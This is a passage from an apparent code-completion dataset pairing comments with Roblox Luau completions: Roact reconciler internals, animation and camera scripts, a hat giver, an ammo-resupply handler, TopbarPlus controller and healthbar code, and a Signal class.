then\n\t\t\tinternalAssert(Type.of(virtualNode) == Type.VirtualNode, \"Expected arg #1 to be of type VirtualNode\")\n\t\tend\n\t\tif config.typeChecks then\n\t\t\tassert(\n\t\t\t\tType.of(newElement) == Type.Element or typeof(newElement) == \"boolean\" or newElement == nil,\n\t\t\t\t\"Expected arg #2 to be of type Element, boolean, or nil\"\n\t\t\t)\n\t\tend\n\n\t\t-- If nothing changed, we can skip this update\n\t\tif virtualNode.currentElement == newElement and newState == nil then\n\t\t\treturn virtualNode\n\t\tend\n\n\t\tif typeof(newElement) == \"boolean\" or newElement == nil then\n\t\t\tunmountVirtualNode(virtualNode)\n\t\t\treturn nil\n\t\tend\n\n\t\tif virtualNode.currentElement.component ~= newElement.component then\n\t\t\treturn replaceVirtualNode(virtualNode, newElement)\n\t\tend\n\n\t\tlocal kind = ElementKind.of(newElement)\n\n\t\tlocal shouldContinueUpdate = true\n\n\t\tif kind == ElementKind.Host then\n\t\t\tvirtualNode = renderer.updateHostNode(reconciler, virtualNode, newElement)\n\t\telseif kind == ElementKind.Function then\n\t\t\tvirtualNode = updateFunctionVirtualNode(virtualNode, newElement)\n\t\telseif kind == ElementKind.Stateful then\n\t\t\tshouldContinueUpdate = virtualNode.instance:__update(newElement, newState)\n\t\telseif kind == ElementKind.Portal then\n\t\t\tvirtualNode = updatePortalVirtualNode(virtualNode, newElement)\n\t\telseif kind == ElementKind.Fragment then\n\t\t\tvirtualNode = updateFragmentVirtualNode(virtualNode, newElement)\n\t\telse\n\t\t\terror((\"Unknown ElementKind %q\"):format(tostring(kind)), 2)\n\t\tend\n\n\t\t-- Stateful components can abort updates via shouldUpdate. If that\n\t\t-- happens, we should stop doing stuff at this point.\n\t\tif not shouldContinueUpdate then\n\t\t\treturn virtualNode\n\t\tend\n\n\t\tvirtualNode.currentElement = newElement\n\n\t\treturn virtualNode\n\tend\n\n\t--[[\n\t\tConstructs a new virtual node but not does mount it.\n\t]]\n\tlocal function createVirtualNode(element, hostParent, hostKey, context, legacyContext)\n\t\tif config.internalTypeChecks then\n\t\t\tinternalAssert(renderer.isHostObject(hostParent) or hostParent == nil, \"Expected arg #2 to be a host object\")\n\t\t\tinternalAssert(typeof(context) == \"table\" or context == nil, \"Expected arg #4 to be of type table or nil\")\n\t\t\tinternalAssert(\n\t\t\t\ttypeof(legacyContext) == \"table\" or legacyContext == nil,\n\t\t\t\t\"Expected arg #5 to be of type table or nil\"\n\t\t\t)\n\t\tend\n\t\tif config.typeChecks then\n\t\t\tassert(hostKey ~= nil, \"Expected arg #3 to be non-nil\")\n\t\t\tassert(\n\t\t\t\tType.of(element) == Type.Element or typeof(element) == \"boolean\",\n\t\t\t\t\"Expected arg #1 to be of type Element or boolean\"\n\t\t\t)\n\t\tend\n\n\t\treturn {\n\t\t\t[Type] = Type.VirtualNode,\n\t\t\tcurrentElement = element,\n\t\t\tdepth = 1,\n\t\t\tparent = nil,\n\t\t\tchildren = {},\n\t\t\thostParent = hostParent,\n\t\t\thostKey = hostKey,\n\n\t\t\t-- Legacy Context API\n\t\t\t-- A table of context values inherited from the parent node\n\t\t\tlegacyContext = legacyContext,\n\n\t\t\t-- A saved copy of the parent context, used when replacing a node\n\t\t\tparentLegacyContext = legacyContext,\n\n\t\t\t-- Context API\n\t\t\t-- A table of context values inherited from the parent node\n\t\t\tcontext = context or {},\n\n\t\t\t-- A saved copy of the unmodified context; this will be updated when\n\t\t\t-- a component adds new context and used when a node is replaced\n\t\t\toriginalContext = nil,\n\t\t}\n\tend\n\n\tlocal function mountFunctionVirtualNode(virtualNode)\n\t\tlocal element = virtualNode.currentElement\n\n\t\tlocal children = element.component(element.props)\n\n\t\tupdateVirtualNodeWithRenderResult(virtualNode, virtualNode.hostParent, children)\n\tend\n\n\tlocal function mountPortalVirtualNode(virtualNode)\n\t\tlocal element = virtualNode.currentElement\n\n\t\tlocal targetHostParent = element.props.target\n\t\tlocal children = element.props[Children]\n\n\t\tassert(renderer.isHostObject(targetHostParent), \"Expected target to be host object\")\n\n\t\tupdateVirtualNodeWithChildren(virtualNode, targetHostParent, children)\n\tend\n\n\tlocal function mountFragmentVirtualNode(virtualNode)\n\t\tlocal element = virtualNode.currentElement\n\t\tlocal children = element.elements\n\n\t\tupdateVirtualNodeWithChildren(virtualNode, virtualNode.hostParent, children)\n\tend\n\n\t--[[\n\t\tConstructs a new virtual node and mounts it, but does not place it into\n\t\tthe tree.\n\t]]\n\tfunction mountVirtualNode(element, hostParent, hostKey, context, legacyContext)\n\t\tif config.internalTypeChecks then\n\t\t\tinternalAssert(renderer.isHostObject(hostParent) or hostParent == nil, \"Expected arg #2 to be a host object\")\n\t\t\tinternalAssert(\n\t\t\t\ttypeof(legacyContext) == \"table\" or legacyContext == nil,\n\t\t\t\t\"Expected arg #5 to be of type table or nil\"\n\t\t\t)\n\t\tend\n\t\tif config.typeChecks then\n\t\t\tassert(hostKey ~= nil, \"Expected arg #3 to be non-nil\")\n\t\t\tassert(\n\t\t\t\tType.of(element) == Type.Element or typeof(element) == \"boolean\",\n\t\t\t\t\"Expected arg #1 to be of type Element or boolean\"\n\t\t\t)\n\t\tend\n\n\t\t-- Boolean values render as nil to enable terse conditional rendering.\n\t\tif typeof(element) == \"boolean\" then\n\t\t\treturn nil\n\t\tend\n\n\t\tlocal kind = ElementKind.of(element)\n\n\t\tlocal virtualNode = createVirtualNode(element, hostParent, hostKey, context, legacyContext)\n\n\t\tif kind == ElementKind.Host then\n\t\t\trenderer.mountHostNode(reconciler, virtualNode)\n\t\telseif kind == ElementKind.Function then\n\t\t\tmountFunctionVirtualNode(virtualNode)\n\t\telseif kind == ElementKind.Stateful then\n\t\t\telement.component:__mount(reconciler, virtualNode)\n\t\telseif kind == ElementKind.Portal then\n\t\t\tmountPortalVirtualNode(virtualNode)\n\t\telseif kind == ElementKind.Fragment then\n\t\t\tmountFragmentVirtualNode(virtualNode)\n\t\telse\n\t\t\terror((\"Unknown ElementKind %q\"):format(tostring(kind)), 2)\n\t\tend\n\n\t\treturn virtualNode\n\tend\n\n\t--[[\n\t\tConstructs a new Roact virtual tree, constructs a root node for\n\t\tit, and mounts it.\n\t]]\n\tlocal function mountVirtualTree(element, hostParent, hostKey)\n\t\tif config.typeChecks then\n\t\t\tassert(Type.of(element) == Type.Element, \"Expected arg #1 to be of type Element\")\n\t\t\tassert(renderer.isHostObject(hostParent) or hostParent == nil, \"Expected arg #2 to be a host object\")\n\t\tend\n\n\t\tif hostKey == nil then\n\t\t\thostKey = \"RoactTree\"\n\t\tend\n\n\t\tlocal tree = {\n\t\t\t[Type] = Type.VirtualTree,\n\t\t\t[InternalData] = {\n\t\t\t\t-- The root node of the tree, which starts into the hierarchy of\n\t\t\t\t-- Roact component instances.\n\t\t\t\trootNode = nil,\n\t\t\t\tmounted = true,\n\t\t\t},\n\t\t}\n\n\t\ttree[InternalData].rootNode = mountVirtualNode(element, hostParent, hostKey)\n\n\t\treturn tree\n\tend\n\n\t--[[\n\t\tUnmounts the virtual tree, freeing all of its resources.\n\n\t\tNo further operations should be done on the tree after it's been\n\t\tunmounted, as indicated by its the `mounted` field.\n\t]]\n\tlocal function unmountVirtualTree(tree)\n\t\tlocal internalData = tree[InternalData]\n\t\tif config.typeChecks then\n\t\t\tassert(Type.of(tree) == Type.VirtualTree, \"Expected arg #1 to be a Roact handle\")\n\t\t\tassert(internalData.mounted, \"Cannot unmounted a Roact tree that has already been unmounted\")\n\t\tend\n\n\t\tinternalData.mounted = false\n\n\t\tif internalData.rootNode ~= nil then\n\t\t\tunmountVirtualNode(internalData.rootNode)\n\t\tend\n\tend\n\n\t--[[\n\t\tUtility method for updating the root node of a virtual tree given a new\n\t\telement.\n\t]]\n\tlocal function updateVirtualTree(tree, newElement)\n\t\tlocal internalData = tree[InternalData]\n\t\tif config.typeChecks then\n\t\t\tassert(Type.of(tree) == Type.VirtualTree, \"Expected arg #1 to be a Roact handle\")\n\t\t\tassert(Type.of(newElement) == Type.Element, \"Expected arg #2 to be a Roact Element\")\n\t\tend\n\n\t\tinternalData.rootNode = updateVirtualNode(internalData.rootNode, newElement)\n\n\t\treturn tree\n\tend\n\n\tlocal function suspendParentEvents(virtualNode)\n\t\tlocal parentNode = virtualNode.parent\n\t\twhile parentNode do\n\t\t\tif parentNode.eventManager ~= nil then\n\t\t\t\tparentNode.eventManager:suspend()\n\t\t\tend\n\n\t\t\tparentNode = parentNode.parent\n\t\tend\n\tend\n\n\tlocal function resumeParentEvents(virtualNode)\n\t\tlocal parentNode = virtualNode.parent\n\t\twhile parentNode do\n\t\t\tif parentNode.eventManager ~= nil then\n\t\t\t\tparentNode.eventManager:resume()\n\t\t\tend\n\n\t\t\tparentNode = parentNode.parent\n\t\tend\n\tend\n\n\treconciler = {\n\t\tmountVirtualTree = mountVirtualTree,\n\t\tunmountVirtualTree = unmountVirtualTree,\n\t\tupdateVirtualTree = updateVirtualTree,\n\n\t\tcreateVirtualNode = createVirtualNode,\n\t\tmountVirtualNode = mountVirtualNode,\n\t\tunmountVirtualNode = unmountVirtualNode,\n\t\tupdateVirtualNode = updateVirtualNode,\n\t\tupdateVirtualNodeWithChildren = updateVirtualNodeWithChildren,\n\t\tupdateVirtualNodeWithRenderResult = updateVirtualNodeWithRenderResult,\n\n\t\tsuspendParentEvents = suspendParentEvents,\n\t\tresumeParentEvents = resumeParentEvents,\n\t}\n\n\treturn reconciler\nend\n\nreturn createReconciler\n"} +{"prompt": "-- The \u201cedit graph\u201d for sequences a and b corresponds to items:\n-- in a on the horizontal axis\n-- in b on the vertical axis\n--\n-- Given a-coordinate of a point in a diagonal, you can compute b-coordinate.\n--\n-- Forward diagonals kF:\n-- zero diagonal intersects top left corner\n-- positive diagonals intersect top edge\n-- negative diagonals insersect left edge\n--\n-- Reverse diagonals kR:\n-- zero diagonal intersects bottom right corner\n-- positive diagonals intersect right edge\n-- negative diagonals intersect bottom edge", "completion": "\n"} +{"prompt": "--[[\n\tInternal method used by the reconciler to clean up any resources held by\n\tthis component instance.\n]]", "completion": "\nfunction Component:__unmount()\n\tif config.internalTypeChecks then\n\t\tinternalAssert(Type.of(self) == Type.StatefulComponentInstance, \"Invalid use of `__unmount`\")\n\tend\n\n\tlocal internalData = self[InternalData]\n\tlocal virtualNode = internalData.virtualNode\n\tlocal reconciler = internalData.reconciler\n\n\tif self.willUnmount ~= nil then\n\t\tinternalData.lifecyclePhase = ComponentLifecyclePhase.WillUnmount\n\t\tself:willUnmount()\n\tend\n\n\tfor _, childNode in pairs(virtualNode.children) do\n\t\treconciler.unmountVirtualNode(childNode)\n\tend\nend\n"} +{"prompt": "--Thanks for using my script!", "completion": "\nscript.Parent = game.ServerScriptService\nlocal billboard = script.BillboardGui"} +{"prompt": "--> CODE", "completion": "\nwhile true do\n\tTextBox.Text = \".\"\n\tTextHandler()\n\tTextBox.Text = \"..\"\n\tTextHandler()\n\tTextBox.Text = \"...\"\n\tTextHandler()\nend\n"} +{"prompt": "--[[\n\tRetrieves the context value corresponding to the given key. Can return nil\n\tif a requested context key is not present\n]]", "completion": "\nfunction Component:__getContext(key)\n\tif config.internalTypeChecks then\n\t\tinternalAssert(Type.of(self) == Type.StatefulComponentInstance, \"Invalid use of `__getContext`\")\n\t\tinternalAssert(key ~= nil, \"Context key cannot be nil\")\n\tend\n\n\tlocal virtualNode = self[InternalData].virtualNode\n\tlocal context = virtualNode.context\n\n\treturn context[key]\nend\n"} +{"prompt": "-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388", "completion": "\n\n\n\n\n\n\n\n\ndebounce = true\n\nfunction onTouched(hit)\n\tif (hit.Parent:findFirstChild(\"Humanoid\") ~= nil and debounce == true) then\n\t\tdebounce = false\n\t\th = Instance.new(\"Hat\")\n\t\tp = Instance.new(\"Part\")\n\t\th.Name = \"Hat\" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.\n\t\tp.Parent = h\n\t\tp.Position = hit.Parent:findFirstChild(\"Head\").Position\n\t\tp.Name = \"Handle\" \n\t\tp.formFactor = 0\n\t\tp.Size = Vector3.new(-0,-0,-1) \n\t\tp.BottomSurface = 0 \n\t\tp.TopSurface = 0 \n\t\tp.Locked = true \n\t\tscript.Parent.Mesh:clone().Parent = p\n\t\th.Parent = hit.Parent\n\t\th.AttachmentPos = Vector3.new(0,-0.075,0.2) -- Change these to change the positiones of your hat, as I said earlier.\n\t\twait(5)\t\tdebounce = true\n\tend\nend\n\nscript.Parent.Touched:connect(onTouched)\n"} +{"prompt": "-- Legacy implementation renamed", "completion": "\nfunction CameraUtils.GetAngleBetweenXZVectors(v1, v2)\n\treturn math.atan2(v2.X*v1.Z-v2.Z*v1.X, v2.X*v1.X+v2.Z*v1.Z)\nend\n\nfunction CameraUtils.RotateVectorByAngleAndRound(camLook, rotateAngle, roundAmount)\n\tif camLook.Magnitude > 0 then\n\t\tcamLook = camLook.unit\n\t\tlocal currAngle = math.atan2(camLook.z, camLook.x)\n\t\tlocal newAngle = round((math.atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount\n\t\treturn newAngle - currAngle\n\tend\n\treturn 0\nend\n"} +{"prompt": "--\t\tprint(animName .. \" \" .. idx .. \" [\" .. origRoll .. \"]\")", "completion": "\n\t\tlocal anim = animTable[animName][idx].anim\n\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\toldAnimTrack = currentAnimTrack\n\t\tcurrentAnimTrack = humanoid:LoadAnimation(anim)\n\t\t \n\t\t-- play the animation\n\t\tcurrentAnimTrack:Play(transitionTime)\n\t\tcurrentAnim = animName\n\n\t\t-- set up keyframe name triggers\n\t\tif (currentAnimKeyframeHandler ~= nil) then\n\t\t\tcurrentAnimKeyframeHandler:disconnect()\n\t\tend\n\t\tcurrentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\n\tend\nend\n"} +{"prompt": "--// Touch Connections", "completion": "\nL_3_:WaitForChild('Humanoid').Touched:connect(function(L_300_arg1)\n\tlocal L_301_, L_302_ = SearchResupply(L_300_arg1)\n\tif L_301_ and L_17_ then\n\t\tL_17_ = false\n\t\tL_97_ = L_24_.Ammo\n\t\tL_98_ = L_24_.StoredAmmo * L_24_.MagCount\n\t\tL_99_ = L_24_.ExplosiveAmmo\n\t\tif L_55_:FindFirstChild('Resupply') then\n\t\t\tL_55_.Resupply:Play()\n\t\tend\n\t\twait(15)\n\t\tL_17_ = true\n\tend;\nend)\n"} +{"prompt": "--[[**\n\tensures Roblox PathWaypoint type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.PathWaypoint = primitive(\"PathWaypoint\")\n"} +{"prompt": "-- tween engine sound volume when we start driving", "completion": "\nlocal engineStartTween = TweenInfo.new(0.25, Enum.EasingStyle.Quad, Enum.EasingDirection.In, 0, false, 0)\n\nlocal Remotes = Vehicle:WaitForChild(\"Remotes\")\nlocal Configuration = Vehicle:WaitForChild(\"Configuration\")\nlocal SetThrottleRemote = Remotes:WaitForChild(\"SetThrottle\")\nlocal SetThrottleConnection = nil\n\nlocal EngineSoundEnabled = true\nlocal TireTrailEnabled = false\n\nlocal ignitionTime = 1.75 -- seconds\n\nlocal lastAvgAngularVelocity = 0\nlocal throttleEnabled = false\nlocal lastThrottleUpdate = 0\n\nlocal enginePower = 0 -- current rpm of the engine\nlocal gainModifier = 1 -- modifier to engine rpm gain (lower if approaching max speed)\n"} +{"prompt": "-- PRIVATE METHODS", "completion": "\nfunction IconController:_updateSelectionGroup(clearAll)\n\tif IconController._navigationEnabled then\n\t\tguiService:RemoveSelectionGroup(\"TopbarPlusIcons\")\n\tend\n\tif clearAll then\n\t\tguiService.CoreGuiNavigationEnabled = IconController._originalCoreGuiNavigationEnabled\n\t\tguiService.GuiNavigationEnabled = IconController._originalGuiNavigationEnabled\n\t\tIconController._navigationEnabled = nil\n\telseif IconController.controllerModeEnabled then\n\t\tlocal icons = IconController.getIcons()\n\t\tlocal iconContainers = {}\n\t\tfor i, otherIcon in pairs(icons) do\n\t\t\tlocal featureName = otherIcon.joinedFeatureName\n\t\t\tif not featureName or otherIcon._parentIcon[otherIcon.joinedFeatureName..\"Open\"] == true then\n\t\t\t\ttable.insert(iconContainers, otherIcon.instances.iconButton)\n\t\t\tend\n\t\tend\n\t\tguiService:AddSelectionTuple(\"TopbarPlusIcons\", table.unpack(iconContainers))\n\t\tif not IconController._navigationEnabled then\n\t\t\tIconController._originalCoreGuiNavigationEnabled = guiService.CoreGuiNavigationEnabled\n\t\t\tIconController._originalGuiNavigationEnabled = guiService.GuiNavigationEnabled\n\t\t\tguiService.CoreGuiNavigationEnabled = false\n\t\t\tguiService.GuiNavigationEnabled = true\n\t\t\tIconController._navigationEnabled = true\n\t\tend\n\tend\nend\n\nlocal function getScaleMultiplier()\n\tif guiService:IsTenFootInterface() then\n\t\treturn 3\n\telse\n\t\treturn 1.3\n\tend\nend\n\nfunction IconController._setControllerSelectedObject(object)\n\tlocal startId = (IconController._controllerSetCount and IconController._controllerSetCount + 1) or 0\n\tIconController._controllerSetCount = startId\n\tguiService.SelectedObject = object\n\ttask.delay(0.1, function()\n\t\tlocal finalId = IconController._controllerSetCountS\n\t\tif startId == finalId then\n\t\t\tguiService.SelectedObject = object\n\t\tend\n\tend)\nend\n\nfunction IconController._enableControllerMode(bool)\n\tlocal indicator = TopbarPlusGui.Indicator\n\tlocal controllerOptionIcon = IconController.getIcon(\"_TopbarControllerOption\")\n\tif IconController.controllerModeEnabled == bool then\n\t\treturn\n\tend\n\tIconController.controllerModeEnabled = bool\n\tif bool then\n\t\tTopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,5)\n\t\tTopbarPlusGui.TopbarContainer.Visible = false\n\t\tlocal scaleMultiplier = getScaleMultiplier()\n\t\tindicator.Position = UDim2.new(0.5,0,0,5)\n\t\tindicator.Size = UDim2.new(0, 18*scaleMultiplier, 0, 18*scaleMultiplier)\n\t\tindicator.Image = \"rbxassetid://5278151556\"\n\t\tindicator.Visible = checkTopbarEnabledAccountingForMimic()\n\t\tindicator.Position = UDim2.new(0.5,0,0,5)\n\t\tindicator.Active = true\n\t\tcontrollerMenuOverride = indicator.InputBegan:Connect(function(input)\n\t\t\tif input.UserInputType == Enum.UserInputType.MouseButton1 then\n\t\t\t\tIconController.setTopbarEnabled(true,false)\n\t\t\tend\n\t\tend)\n\telse\n\t\tTopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,0)\n\t\tTopbarPlusGui.TopbarContainer.Visible = checkTopbarEnabledAccountingForMimic()\n\t\tindicator.Visible = false\n\t\tIconController._setControllerSelectedObject(nil)\n\tend\n\tfor icon, _ in pairs(topbarIcons) do\n\t\tIconController._enableControllerModeForIcon(icon, bool)\n\tend\nend\n\nfunction IconController._enableControllerModeForIcon(icon, bool)\n\tlocal parentIcon = icon._parentIcon\n\tlocal featureName = icon.joinedFeatureName\n\tif parentIcon then\n\t\ticon:leave()\n\tend\n\tif bool then\n\t\tlocal scaleMultiplier = getScaleMultiplier()\n\t\tlocal currentSizeDeselected = icon:get(\"iconSize\", \"deselected\")\n\t\tlocal currentSizeSelected = icon:get(\"iconSize\", \"selected\")\n\t\tlocal currentSizeHovering = icon:getHovering(\"iconSize\")\n\t\ticon:set(\"iconSize\", UDim2.new(0, currentSizeDeselected.X.Offset*scaleMultiplier, 0, currentSizeDeselected.Y.Offset*scaleMultiplier), \"deselected\", \"controllerMode\")\n\t\ticon:set(\"iconSize\", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), \"selected\", \"controllerMode\")\n\t\tif currentSizeHovering then\n\t\t\ticon:set(\"iconSize\", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), \"hovering\", \"controllerMode\")\n\t\tend\n\t\ticon:set(\"alignment\", \"mid\", \"deselected\", \"controllerMode\")\n\t\ticon:set(\"alignment\", \"mid\", \"selected\", \"controllerMode\")\n\telse\n\t\tlocal states = {\"deselected\", \"selected\", \"hovering\"}\n\t\tfor _, iconState in pairs(states) do\n\t\t\tlocal _, previousAlignment = icon:get(\"alignment\", iconState, \"controllerMode\")\n\t\t\tif previousAlignment then\n\t\t\t\ticon:set(\"alignment\", previousAlignment, iconState)\n\t\t\tend\n\t\t\tlocal currentSize, previousSize = icon:get(\"iconSize\", iconState, \"controllerMode\")\n\t\t\tif previousSize then\n\t\t\t\ticon:set(\"iconSize\", previousSize, iconState)\n\t\t\tend\n\t\tend\n\tend\n\tif parentIcon then\n\t\ticon:join(parentIcon, featureName)\n\tend\nend\n\nlocal createdFakeHealthbarIcon = false\nfunction IconController.setupHealthbar()\n\n\tif createdFakeHealthbarIcon then\n\t\treturn\n\tend\n\tcreatedFakeHealthbarIcon = true\n\n\t-- Create a fake healthbar icon to mimic the core health gui\n\ttask.defer(function()\n\t\trunService.Heartbeat:Wait()\n\t\tlocal Icon = require(iconModule)\n\n\t\tIcon.new()\n\t\t\t:setProperty(\"internalIcon\", true)\n\t\t\t:setName(\"_FakeHealthbar\")\n\t\t\t:setRight()\n\t\t\t:setOrder(-420)\n\t\t\t:setSize(80, 32)\n\t\t\t:lock()\n\t\t\t:set(\"iconBackgroundTransparency\", 1)\n\t\t\t:give(function(icon)\n\n\t\t\t\tlocal healthContainer = Instance.new(\"Frame\")\n\t\t\t\thealthContainer.Name = \"HealthContainer\"\n\t\t\t\thealthContainer.BackgroundColor3 = Color3.fromRGB(0, 0, 0)\n\t\t\t\thealthContainer.BorderSizePixel = 0\n\t\t\t\thealthContainer.AnchorPoint = Vector2.new(0, 0.5)\n\t\t\t\thealthContainer.Position = UDim2.new(0, 0, 0.5, 0)\n\t\t\t\thealthContainer.Size = UDim2.new(1, 0, 0.2, 0)\n\t\t\t\thealthContainer.Visible = true\n\t\t\t\thealthContainer.ZIndex = 11\n\t\t\t\thealthContainer.Parent = icon.instances.iconButton\n\n\t\t\t\tlocal corner = Instance.new(\"UICorner\")\n\t\t\t\tcorner.CornerRadius = UDim.new(1, 0)\n\t\t\t\tcorner.Parent = healthContainer\n\n\t\t\t\tlocal healthFrame = healthContainer:Clone()\n\t\t\t\thealthFrame.Name = \"HealthFrame\"\n\t\t\t\thealthFrame.BackgroundColor3 = Color3.fromRGB(167, 167, 167)\n\t\t\t\thealthFrame.BorderSizePixel = 0\n\t\t\t\thealthFrame.AnchorPoint = Vector2.new(0.5, 0.5)\n\t\t\t\thealthFrame.Position = UDim2.new(0.5, 0, 0.5, 0)\n\t\t\t\thealthFrame.Size = UDim2.new(1, -2, 1, -2)\n\t\t\t\thealthFrame.Visible = true\n\t\t\t\thealthFrame.ZIndex = 12\n\t\t\t\thealthFrame.Parent = healthContainer\n\n\t\t\t\tlocal healthBar = healthFrame:Clone()\n\t\t\t\thealthBar.Name = \"HealthBar\"\n\t\t\t\thealthBar.BackgroundColor3 = Color3.fromRGB(255, 255, 255)\n\t\t\t\thealthBar.BorderSizePixel = 0\n\t\t\t\thealthBar.AnchorPoint = Vector2.new(0, 0.5)\n\t\t\t\thealthBar.Position = UDim2.new(0, 0, 0.5, 0)\n\t\t\t\thealthBar.Size = UDim2.new(0.5, 0, 1, 0)\n\t\t\t\thealthBar.Visible = true\n\t\t\t\thealthBar.ZIndex = 13\n\t\t\t\thealthBar.Parent = healthFrame\n\n\t\t\t\tlocal START_HEALTHBAR_COLOR = Color3.fromRGB(27, 252, 107)\n\t\t\t\tlocal MID_HEALTHBAR_COLOR = Color3.fromRGB(250, 235, 0)\n\t\t\t\tlocal END_HEALTHBAR_COLOR = Color3.fromRGB(255, 28, 0)\n\n\t\t\t\tlocal function powColor3(color, pow)\n\t\t\t\t\treturn Color3.new(\n\t\t\t\t\t\tmath.pow(color.R, pow),\n\t\t\t\t\t\tmath.pow(color.G, pow),\n\t\t\t\t\t\tmath.pow(color.B, pow)\n\t\t\t\t\t)\n\t\t\t\tend\n\n\t\t\t\tlocal function lerpColor(colorA, colorB, frac, gamma)\n\t\t\t\t\tgamma = gamma or 2.0\n\t\t\t\t\tlocal CA = powColor3(colorA, gamma)\n\t\t\t\t\tlocal CB = powColor3(colorB, gamma)\n\t\t\t\t\treturn powColor3(CA:Lerp(CB, frac), 1/gamma)\n\t\t\t\tend\n\n\t\t\t\tlocal firstTimeEnabling = true\n\t\t\t\tlocal function listenToHealth(character)\n\t\t\t\t\tif not character then\n\t\t\t\t\t\treturn\n\t\t\t\t\tend\n\t\t\t\t\tlocal humanoid = character:WaitForChild(\"Humanoid\", 10)\n\t\t\t\t\tif not humanoid then\n\t\t\t\t\t\treturn\n\t\t\t\t\tend\n\n\t\t\t\t\tlocal function updateHealthBar()\n\t\t\t\t\t\tlocal realHealthbarEnabled = starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Health)\n\t\t\t\t\t\tlocal healthInterval = humanoid.Health / humanoid.MaxHealth\n\t\t\t\t\t\tif healthInterval == 1 or IconController.healthbarDisabled or (firstTimeEnabling and realHealthbarEnabled == false) then\n\t\t\t\t\t\t\tif icon.enabled then\n\t\t\t\t\t\t\t\ticon:setEnabled(false)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\telseif healthInterval < 1 then\n\t\t\t\t\t\t\tif not icon.enabled then\n\t\t\t\t\t\t\t\ticon:setEnabled(true)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tfirstTimeEnabling = false\n\t\t\t\t\t\t\tif realHealthbarEnabled then\n\t\t\t\t\t\t\t\tstarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Health, false)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\tlocal startInterval = 0.9\n\t\t\t\t\t\tlocal endInterval = 0.1\n\t\t\t\t\t\tlocal m = 1/(startInterval - endInterval)\n\t\t\t\t\t\tlocal c = -m*endInterval\n\t\t\t\t\t\tlocal colorIntervalAbsolute = (m*healthInterval) + c\n\t\t\t\t\t\tlocal colorInterval = (colorIntervalAbsolute > 1 and 1) or (colorIntervalAbsolute < 0 and 0) or colorIntervalAbsolute\n\t\t\t\t\t\tlocal firstColor = (healthInterval > 0.5 and START_HEALTHBAR_COLOR) or MID_HEALTHBAR_COLOR\n\t\t\t\t\t\tlocal lastColor = (healthInterval > 0.5 and MID_HEALTHBAR_COLOR) or END_HEALTHBAR_COLOR\n\t\t\t\t\t\tlocal doubleSubtractor = (1-colorInterval)*2\n\t\t\t\t\t\tlocal modifiedColorInterval = (healthInterval > 0.5 and (1-doubleSubtractor)) or (2-doubleSubtractor)\n\t\t\t\t\t\tlocal newHealthFillColor = lerpColor(lastColor, firstColor, modifiedColorInterval)\n\t\t\t\t\t\tlocal newHealthFillSize = UDim2.new(healthInterval, 0, 1, 0)\n\t\t\t\t\t\thealthBar.BackgroundColor3 = newHealthFillColor\n\t\t\t\t\t\thealthBar.Size = newHealthFillSize\n\t\t\t\t\tend\n\n\t\t\t\t\thumanoid.HealthChanged:Connect(updateHealthBar)\n\t\t\t\t\tIconController.healthbarDisabledSignal:Connect(updateHealthBar)\n\t\t\t\t\tupdateHealthBar()\n\t\t\t\tend\n\t\t\t\tlocalPlayer.CharacterAdded:Connect(function(character)\n\t\t\t\t\tlistenToHealth(character)\n\t\t\t\tend)\n\t\t\t\ttask.spawn(listenToHealth, localPlayer.Character)\n\t\t\tend)\n\tend)\nend\n\nfunction IconController._determineControllerDisplay()\n\tlocal mouseEnabled = userInputService.MouseEnabled\n\tlocal controllerEnabled = userInputService.GamepadEnabled\n\tlocal controllerOptionIcon = IconController.getIcon(\"_TopbarControllerOption\")\n\tif mouseEnabled and controllerEnabled then\n\t\t-- Show icon (if option not disabled else hide)\n\t\tif not disableControllerOption then\n\t\t\tcontrollerOptionIcon:setEnabled(true)\n\t\telse\n\t\t\tcontrollerOptionIcon:setEnabled(false)\n\t\tend\n\telseif mouseEnabled and not controllerEnabled then\n\t\t-- Hide icon, disableControllerMode\n\t\tcontrollerOptionIcon:setEnabled(false)\n\t\tIconController._enableControllerMode(false)\n\t\tcontrollerOptionIcon:deselect()\n\telseif not mouseEnabled and controllerEnabled then\n\t\t-- Hide icon, _enableControllerMode\n\t\tcontrollerOptionIcon:setEnabled(false)\n\t\tIconController._enableControllerMode(true)\n\tend\nend\n\n\n"} +{"prompt": "--\t\tprint(\"Loading anims \" .. name)", "completion": "\n\t\tlocal idx = 1\n\t\tfor _, childPart in pairs(config:GetChildren()) do\n\t\t\tanimTable[name][idx] = {}\n\t\t\tanimTable[name][idx].anim = childPart\n\t\t\tlocal weightObject = childPart:FindFirstChild(\"Weight\")\n\t\t\tif (weightObject == nil) then\n\t\t\t\tanimTable[name][idx].weight = 1\n\t\t\telse\n\t\t\t\tanimTable[name][idx].weight = weightObject.Value\n\t\t\tend\n\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight"} +{"prompt": "--[=[\n\t@class Signal\n\n\tSignals allow events to be dispatched and handled.\n\n\tFor example:\n\t```lua\n\tlocal signal = Signal.new()\n\n\tsignal:Connect(function(msg)\n\t\tprint(\"Got message:\", msg)\n\tend)\n\n\tsignal:Fire(\"Hello world!\")\n\t```\n]=]", "completion": "\nlocal Signal = {}\nSignal.__index = Signal\n"} +{"prompt": "-- ROBLOX deviation START: defining picomatch as callable table", "completion": "\nlocal picomatch_\nlocal picomatch = setmetatable({}, {\n\t__call = function(_self: any, glob: any, options: Object?, returnState: boolean?)\n\t\treturn picomatch_(glob, options, 